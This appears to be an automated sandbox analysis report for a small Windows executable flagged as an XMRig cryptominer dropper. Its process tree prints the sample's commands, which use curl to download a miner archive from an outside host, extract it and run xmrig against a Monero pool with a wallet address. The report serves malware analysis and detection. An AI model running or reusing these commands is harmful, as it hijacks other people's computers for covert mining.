Resubmissions
13/03/2024, 08:45
240313-knsznahb2w1013/03/2024, 08:44
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240313-kms82aah481012/03/2024, 18:00
240312-wlevsshe861012/03/2024, 17:57
240312-wjxylahe481012/03/2024, 17:55
240312-whm21afc7t1012/03/2024, 17:54
240312-wg7p1sfc5y1012/03/2024, 17:53
240312-wgg5csfc3y1012/03/2024, 17:52
240312-wf31fahd5810Analysis
- max time kernel
1796s - max time network
1804s - platform
windows10-2004_x64 - resource
win10v2004-20240226-en - resource tags
- submitted
12/03/2024, 18:00
General
- Target test - Copy - Copy - Copy (2).exe
- Size 6KB
- Sample240312-wlevsshe86
- SHA256 a1070b8803e4243699a44a77e60a199282814495bc3bd94759c07021c0a6c70c
Malware Config
Signatures
- XMRig Miner payload 64 IoCs
- xmrig
XMRig is a high performance, open source, cross platform CPU/GPU miner.
- Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
- Executes dropped EXE 1 IoCs
- Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
- Suspicious behavior: LoadsDriver 1 IoCs
- Suspicious use of AdjustPrivilegeToken 2 IoCs
- Suspicious use of FindShellTrayWindow 1 IoCs
- Suspicious use of WriteProcessMemory 8 IoCs
Processes
-
C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy - Copy (2).exe"C:\Users\Admin\AppData\Local\Temp\test - Copy - Copy - Copy (2).exe"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
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C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\rNfT3It9.bat" "2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\curl.execurl -o "C:\xmrig\xmrig-6.21.1-gcc-win64.zip" https://1488.netlify.app/xmrig-6.21.1-gcc-win64.zip3⤵
-
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C:\Windows\system32\tar.exetar -xf "C:\xmrig\xmrig-6.21.1-gcc-win64.zip"3⤵
-
-
C:\xmrig\xmrig-6.21.1\xmrig.exeC:\xmrig\xmrig-6.21.1\xmrig.exe --coin=XMR -o xmr.2miners.com:2222 -u 49QgS4Cu9uqVeqgDpwtdZWYZrDNrUJXfzDiGmwsZFLdEgQPAQV7SbswUHqZG3B45HAiSR1cYZoSvgC56kctnqsSjMNFnJmU.RIG -p x --cpu-affinity=5 --cpu-no-yield3⤵
- Executes dropped EXE
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of FindShellTrayWindow
-
-
Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
rNfT3It9.bat
xmrig-6.21.1-gcc-win64.zip
xmrig.exe
memory/628-0-0x0000000000EA0000-0x0000000000EA8000-memory.dmp
memory/628-3-0x00007FFB73130000-0x00007FFB73BF1000-memory.dmp
memory/628-7-0x00007FFB73130000-0x00007FFB73BF1000-memory.dmp
memory/628-23-0x00007FFB73130000-0x00007FFB73BF1000-memory.dmp
memory/1536-24-0x0000014E8DAB0000-0x0000014E8DAD0000-memory.dmp
memory/1536-25-0x0000014E8F3B0000-0x0000014E8F3F0000-memory.dmp
memory/1536-26-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-27-0x0000014E8F3F0000-0x0000014E8F410000-memory.dmp
memory/1536-28-0x0000014E8F410000-0x0000014E8F430000-memory.dmp
memory/1536-29-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-30-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-31-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-32-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-33-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-34-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-36-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-37-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-38-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-39-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-40-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-41-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-42-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-43-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-44-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-45-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-46-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-48-0x0000014E8F3F0000-0x0000014E8F410000-memory.dmp
memory/1536-47-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-49-0x0000014E8F410000-0x0000014E8F430000-memory.dmp
memory/1536-50-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-51-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-52-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-53-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-54-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-55-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-56-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-57-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-58-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-59-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-60-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-61-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-62-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-63-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-64-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-65-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-66-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-67-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-68-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-69-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-70-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-71-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-72-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-73-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-74-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-75-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-76-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-77-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-78-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-79-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-80-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-81-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-82-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-83-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-84-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-85-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-86-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-87-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-88-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-89-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-90-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-91-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp
memory/1536-92-0x00007FF6AFDD0000-0x00007FF6B08D4000-memory.dmp